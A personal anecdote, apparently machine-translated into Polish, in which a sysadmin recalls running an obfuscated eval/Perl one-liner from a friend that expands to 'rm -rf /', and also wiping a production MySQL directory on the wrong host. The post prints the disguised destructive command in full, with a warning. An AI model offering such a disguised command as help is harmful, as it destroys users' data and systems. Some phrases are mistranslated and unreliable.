Wiele lat temu byłem w domu, pracując nad php, pracując nad projektem z moim kumplem, który był opiekunem projektu. Rozmawialiśmy ze sobą w ramach współpracy. Zawsze żartujemy w tę iz powrotem.
Starałem się, aby ssh-agent działał poprawnie na mojej maszynie podczas wojny religijnej między Perlem a PHP. Potem wspomniałem coś o tym, że ssh-agent wymaga ewaluacji (nie jestem pewien, dlaczego to powiedziałem). Więc wysłał mi tę wiadomość, starając się pomóc w rozwiązaniu mojego problemu (pamiętaj, że mam uprawnienia do rootowania):
\# eval $(echo ssh-agent |
perl -pe 's/h-a/m -r/' |
perl -pe 's/^ss/r/' |
perl -pe 's/gent/f \//')
OSTRZEŻENIE! NIE URUCHAMIAJ TEGO POLECENIA !!!
JEŚLI usuniesz ewaluację i uruchomisz wewnętrzną komendę, jest to:
rm -rf /
Zajęło mi to 4 sekundy, aby zauważyć, co się dzieje, ale szkody już zostały wyrządzone. Musiałem ponownie zainstalować system operacyjny. Na szczęście nic z mojej pracy nie zostało usunięte, z wyjątkiem niektórych rzeczy w / etc iirc. Śmiał się OGROMNIE, kiedy wysłałem mu wiadomość z przerażeniem, pytając, dlaczego to zrobił. Obaj jesteśmy inżynierami systemów długoterminowych. Nie sądził, żebym go uruchomił i byłbym bardziej ostrożny, aby to sprawdzić przed zwykłym c & p'ingiem, a ja po prostu mu zaufałem, więc nawet nie pomyślałem, że się bawił. Nie trzeba dodawać, że ta krótka historia pojawia się między nami cały czas. Więc postanowiłem to uwiecznić.
Jak złagodziłem ten problem? Nikomu nie ufam!
Inna mniej interesująca historia to kilka lat temu, kiedy pracowałem nad skrzynką o kluczowym znaczeniu w pracy. Miałem kilka warunków otwartych na inną maszynę. Musiałem usunąć zbędne rzeczy z katalogu. Cóż, zgubiłem się w moich warunkach i przypadkowo się zakochałem . w moim lokalnym katalogu, ale na niewłaściwym hoście (zły termin) !!. Wykonałem polecenie w / var / lib / mysql zamiast / tmp na serwerze aplikacji (inny termin). Nie trzeba dodawać, że wyczyściłem produkcyjną bazę danych. Na szczęście mieliśmy ciepły tryb gotowości, do którego się przełączyliśmy, podczas gdy ja i współpracownik przebudowaliśmy podstawowy system z kopii zapasowych i trybu gotowości. Zajęło to około 18 godzin.
Łagodzenie: bardziej uważaj na to, w których oknach wykonuję polecenia przed ich wykonaniem.